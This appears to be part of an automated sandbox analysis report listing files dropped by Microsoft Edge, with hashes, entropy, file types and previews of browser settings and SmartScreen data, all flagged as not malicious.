SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWvdi1zNtPM1kzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynJSkzItSmd6qE7lFoC
MD5:	8C609BEB31BBD249F16EFA0395E39A17
SHA1:	6AD986CF6414A4ACAC194F64D249CE1B75F7EAE0
SHA-256:	CFF016CA568DFB733934BFCFC30272852CD0ECC320B9E4E473C1325396C2DC49
SHA-512:	880023E0B7719EE1B04052CB81673165ECFF03C8871ECE80A7A29B1E00B615EE05F45D662D197FC5456D05BB55AAE85116CD8069AE662C70B36D5ACA59148105
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3a401.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089802666927576
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWvdi1zNtPM1kzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynJSkzItSmd6qE7lFoC
MD5:	8C609BEB31BBD249F16EFA0395E39A17
SHA1:	6AD986CF6414A4ACAC194F64D249CE1B75F7EAE0
SHA-256:	CFF016CA568DFB733934BFCFC30272852CD0ECC320B9E4E473C1325396C2DC49
SHA-512:	880023E0B7719EE1B04052CB81673165ECFF03C8871ECE80A7A29B1E00B615EE05F45D662D197FC5456D05BB55AAE85116CD8069AE662C70B36D5ACA59148105
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3a634.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089802666927576
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWvdi1zNtPM1kzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynJSkzItSmd6qE7lFoC
MD5:	8C609BEB31BBD249F16EFA0395E39A17
SHA1:	6AD986CF6414A4ACAC194F64D249CE1B75F7EAE0
SHA-256:	CFF016CA568DFB733934BFCFC30272852CD0ECC320B9E4E473C1325396C2DC49
SHA-512:	880023E0B7719EE1B04052CB81673165ECFF03C8871ECE80A7A29B1E00B615EE05F45D662D197FC5456D05BB55AAE85116CD8069AE662C70B36D5ACA59148105
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3cc88.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089802666927576
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWvdi1zNtPM1kzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynJSkzItSmd6qE7lFoC
MD5:	8C609BEB31BBD249F16EFA0395E39A17
SHA1:	6AD986CF6414A4ACAC194F64D249CE1B75F7EAE0
SHA-256:	CFF016CA568DFB733934BFCFC30272852CD0ECC320B9E4E473C1325396C2DC49
SHA-512:	880023E0B7719EE1B04052CB81673165ECFF03C8871ECE80A7A29B1E00B615EE05F45D662D197FC5456D05BB55AAE85116CD8069AE662C70B36D5ACA59148105
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF417f9.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089802666927576
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWvdi1zNtPM1kzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynJSkzItSmd6qE7lFoC
MD5:	8C609BEB31BBD249F16EFA0395E39A17
SHA1:	6AD986CF6414A4ACAC194F64D249CE1B75F7EAE0
SHA-256:	CFF016CA568DFB733934BFCFC30272852CD0ECC320B9E4E473C1325396C2DC49
SHA-512:	880023E0B7719EE1B04052CB81673165ECFF03C8871ECE80A7A29B1E00B615EE05F45D662D197FC5456D05BB55AAE85116CD8069AE662C70B36D5ACA59148105
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF4b6aa.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089802666927576
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWvdi1zNtPM1kzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynJSkzItSmd6qE7lFoC
MD5:	8C609BEB31BBD249F16EFA0395E39A17
SHA1:	6AD986CF6414A4ACAC194F64D249CE1B75F7EAE0
SHA-256:	CFF016CA568DFB733934BFCFC30272852CD0ECC320B9E4E473C1325396C2DC49
SHA-512:	880023E0B7719EE1B04052CB81673165ECFF03C8871ECE80A7A29B1E00B615EE05F45D662D197FC5456D05BB55AAE85116CD8069AE662C70B36D5ACA59148105
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF5141c.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089802666927576
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWvdi1zNtPM1kzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynJSkzItSmd6qE7lFoC
MD5:	8C609BEB31BBD249F16EFA0395E39A17
SHA1:	6AD986CF6414A4ACAC194F64D249CE1B75F7EAE0
SHA-256:	CFF016CA568DFB733934BFCFC30272852CD0ECC320B9E4E473C1325396C2DC49
SHA-512:	880023E0B7719EE1B04052CB81673165ECFF03C8871ECE80A7A29B1E00B615EE05F45D662D197FC5456D05BB55AAE85116CD8069AE662C70B36D5ACA59148105
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6773696719930975
Encrypted:	false
SSDEEP:	12:TLpUAFUxOUDaabZXiDiIF8izX4fhhdWeci2oesJaYi3islRud6zcQAJmdngzQdoO:TLiOUOq0afDdWec9sJhOs3fsuZ7J5fc
MD5:	6FFCCB198DC6B17E165460E6E246B03C
SHA1:	014A46B0E6E84089E1C20FA232F54CA737D5F023
SHA-256:	D1B2EC8C9906C3418837FFB8E116AA59C026DE2D67B2AFDA956F14D0DC3851AF
SHA-512:	846AE3D0A49A14BF82203A0FEDAD6E794F7E68C22A40EE0E014FEA99DFC676FAE4AFEB2C56F324E4361E83A35458C63E2ABAA7B28B6D23B20FA29EF47CBE87B3
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	47
Entropy (8bit):	4.3818353308528755
Encrypted:	false
SSDEEP:	3:2jRo6jhM6ceYcUtS2djIn:5I2uxUt5Mn
MD5:	48324111147DECC23AC222A361873FC5
SHA1:	0DF8B2267ABBDBD11C422D23338262E3131A4223
SHA-256:	D8D672F953E823063955BD9981532FC3453800C2E74C0CC3653D091088ABD3B3
SHA-512:	E3B5DB7BA5E4E3DE3741F53D91B6B61D6EB9ECC8F4C07B6AE1C2293517F331B716114BAB41D7935888A266F7EBDA6FABA90023EFFEC850A929986053853F1E02
Malicious:	false
Preview:	customSettings_F95BA787499AB4FA9EFFF472CE383A14

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings_F95BA787499AB4FA9EFFF472CE383A14

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	35
Entropy (8bit):	4.014438730983427
Encrypted:	false
SSDEEP:	3:YDMGA2ADH/AYKEqsYq:YQXT/bKE1F
MD5:	BB57A76019EADEDC27F04EB2FB1F1841
SHA1:	8B41A1B995D45B7A74A365B6B1F1F21F72F86760
SHA-256:	2BAE8302F9BD2D87AE26ACF692663DF1639B8E2068157451DA4773BD8BD30A2B
SHA-512:	A455D7F8E0BE9A27CFB7BE8FE0B0E722B35B4C8F206CAD99064473F15700023D5995CC2C4FAFDB8FBB50F0BAB3EC8B241E9A512C0766AAAE1A86C3472C589FFD
Malicious:	false
Preview:	{"forceServiceDetermination":false}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	81
Entropy (8bit):	4.3439888556902035
Encrypted:	false
SSDEEP:	3:kDnaV6bVsFUIMf1HDOWg3djTHXoSWDSQ97P:kDYaoUIe1HDM3oskP
MD5:	177F4D75F4FEE84EF08C507C3476C0D2
SHA1:	08E17AEB4D4066AC034207420F1F73DD8BE3FAA0
SHA-256:	21EE7A30C2409E0041CDA6C04EEE72688EB92FE995DC94487FF93AD32BD8F849
SHA-512:	94FC142B3CC4844BF2C0A72BCE57363C554356C799F6E581AA3012E48375F02ABD820076A8C2902A3C6BE6AC4D8FA8D4F010D4FF261327E878AF5E5EE31038FB
Malicious:	false
Preview:	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	130439
Entropy (8bit):	3.80180718117079
Encrypted:	false
SSDEEP:	1536:RlIyFAMrwvaGbyLWzDr6PDofI8vsUnPRLz+PMh:weWGP7Eh
MD5:	EB75CEFFE37E6DF9C171EE8380439EDA
SHA1:	F00119BA869133D64E4F7F0181161BD47968FA23
SHA-256:	48B11410DC937A1723BF4C5AD33ECDB286D8EC69544241BC373F753E64B396C1
SHA-512:	044C5113D877CE2E3B42CF07670620937ED7BE2D8B3BF2BAB085C43EF4F64598A7AC56328DDBBE7F0F3CFB9EA49D38CA332BB4ECBFEDBE24AE53B14334A30C8E
Malicious:	false
Preview:	{.. "geoidMaps": {.. "au": "https://australia.smartscreen.microsoft.com/",.. "ch": "https://switzerland.smartscreen.microsoft.com/",.. "eu": "https://europe.smartscreen.microsoft.com/",.. "ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "in": "https://india.smartscreen.microsoft.com/",.. "test": "https://eu-9.smartscreen.microsoft.com/",.. "uk": "https://unitedkingdom.smartscreen.microsoft.com/",.. "us": "https://unitedstates.smartscreen.microsoft.com/",.. "gw_au": "https://australia.smartscreen.microsoft.com/",.. "gw_ch": "https://switzerland.smartscreen.microsoft.com/",.. "gw_eu": "https://europe.smartscreen.microsoft.com/",.. "gw_ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "gw_ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "gw_ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "gw_in": "https

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.346439344671015
Encrypted:	false
SSDEEP:	3:kfKbUPVXXMVQX:kygV5
MD5:	6A3A60A3F78299444AACAA89710A64B6
SHA1:	2A052BF5CF54F980475085EEF459D94C3CE5EF55
SHA-256:	61597278D681774EFD8EB92F5836EB6362975A74CEF807CE548E50A7EC38E11F
SHA-512:	C5D0419869A43D712B29A5A11DC590690B5876D1D95C1F1380C2F773CA0CB07B173474EE16FE66A6AF633B04CC84E58924A62F00DCC171B2656D554864BF57A4
Malicious:	false
Preview:	synchronousLookupUris_638343870221005468

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris_638343870221005468

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	57
Entropy (8bit):	4.556488479039065
Encrypted:	false
SSDEEP:	3:GSCIPPlzYxi21goD:bCWBYx99D
MD5:	3A05EAEA94307F8C57BAC69C3DF64E59
SHA1:	9B852B902B72B9D5F7B9158E306E1A2C5F6112C8
SHA-256:	A8EF112DF7DAD4B09AAA48C3E53272A2EEC139E86590FD80E2B7CBD23D14C09E
SHA-512:	6080AEF2339031FAFDCFB00D3179285E09B707A846FD2EA03921467DF5930B3F9C629D37400D625A8571B900BC46021047770BAC238F6BAC544B48FB3D522FB0
Malicious:	false
Preview:	9.......murmur3.............,M.h...Z...8.\..<&Li.H..[.?m

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	29
Entropy (8bit):	4.030394788231021
Encrypted:	false
SSDEEP:	3:0xXeZUSXkcVn:0Re5kcV
MD5:	52E2839549E67CE774547C9F07740500
SHA1:	B172E16D7756483DF0CA0A8D4F7640DD5D557201
SHA-256:	F81B7B9CE24F5A2B94182E817037B5F1089DC764BC7E55A9B0A6227A7E121F32
SHA-512:	D80E7351E4D83463255C002D3FDCE7E5274177C24C4C728D7B7932D0BE3EBCFEB68E1E65697ED5E162E1B423BB8CDFA0864981C4B466D6AD8B5E724D84B4203B
Malicious:	false
Preview:	topTraffic_638004170464094982

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_170540185939602997400506234197983529371

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	575056
Entropy (8bit):	7.999649474060713
Encrypted:	true
SSDEEP:	12288:fXdhUG0PlM/EXEBQlbk19RrH76Im4u8C1jJodha:Ji80e9Rb7Tm4u8CnR
MD5:	BE5D1A12C1644421F877787F8E76642D
SHA1:	06C46A95B4BD5E145E015FA7E358A2D1AC52C809
SHA-256:	C1CE928FBEF4EF5A4207ABAFD9AB6382CC29D11DDECC215314B0522749EF6A5A
SHA-512:	FD5B100E2F192164B77F4140ADF6DE0322F34D7B6F0CF14AED91BACAB18BB8F195F161F7CF8FB10651122A598CE474AC4DC39EDF47B6A85C90C854C2A3170960
Malicious:	false
Preview:	...._+jE.`..}....S..1....G}s..E....y".Wh.^.W.H...-...#.A...KR...9b........>k......bU.IVo...D......Y..[l.yx.......'c=..I0.....E.d...-...1 ....m../C...OQ.........qW..<:N.....38.u..X-..s....<..U.,Mi..._.......`.Y/.........^..,.E..........j@..G8..N.... ..Ea...4.+.79k.!T.-5W..!..@+..!.P..LDG.....V."....L.... .(#..$..&......C.....%A.T}....K_.S..'Q.".d....s....(j.D!......Ov..)d0)."(..%..-..G..L.}....i.....m9;.....t.w..0....f?..-..M.c.3.....N7K.T..D>.3.x...z..u$5!..4..T.....U.O^L{.5..=E..'..;.}(\|.6.:..f!.>...?M.8......P.D.J.I4.<....y.E....>....i%.6..Y.@..n.....M..r..C.f.;..<..0.H...F....h.......HB1]1....u..:...H..k....B.Q..J...@}j~.#...'Y.J~....I...ub.&..L[z..1.W/.Ck....M.......[.......N.F..z.{nZ~d.V.4.u.K.V.......X.<p..cz..>....X...W..da3(..g..Z$.L4.j=~.p.l.\.[e.&&.Y ...U)..._.^r0.,.{_......`S..[....(.\..p.bt.g..%.$+....f.....d....Im..f...W ......G..i_8a..ae..7....pS.....z-H..A.s.4.3..O.r.....u.S......a.}..v.-/..... ...a.x#./:...sS&U.().xL...pg

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_638004170464094982

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	raw G3 (Group 3) FAX, byte-padded
Category:	dropped
Size (bytes):	460992
Entropy (8bit):	7.999625908035124
Encrypted:	true
SSDEEP:	12288:KaRwcD8XXTZGZJHXBjOVX3xFttENr4+3eGPnKvJWXrydqb:KaR5oZ2MBFt8r4+3eG/URdqb
MD5:	E9C502DB957CDB977E7F5745B34C32E6
SHA1:	DBD72B0D3F46FA35A9FE2527C25271AEC08E3933
SHA-256:	5A6B49358772DB0B5C682575F02E8630083568542B984D6D00727740506569D4
SHA-512:	B846E682427CF144A440619258F5AA5C94CAEE7612127A60E4BD3C712F8FF614DA232D9A488E27FC2B0D53FD6ACF05409958AEA3B21EA2C1127821BD8E87A5CA
Malicious:	false
